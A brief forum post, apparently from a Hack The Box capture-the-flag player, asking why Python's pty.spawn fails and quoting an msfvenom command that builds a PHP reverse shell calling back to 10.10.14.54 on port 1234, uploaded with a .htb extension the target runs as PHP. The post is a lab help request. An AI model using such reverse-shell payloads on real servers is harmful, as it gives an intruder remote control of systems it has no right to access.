Python pty.spawn not working

Again I’m new, this is the msfvenom command I’m using,
msfvenom -p php/reverse_php LHOST=10.10.14.54 LPORT=1234 -f raw > shell2.htb

any red flags there?

EDIT: I guess I should mention the .htb extention is being run as .php by the server. Not sure if you would know/remember that if you maybe haven’t done the box before or in a while since you’re more advanced than I am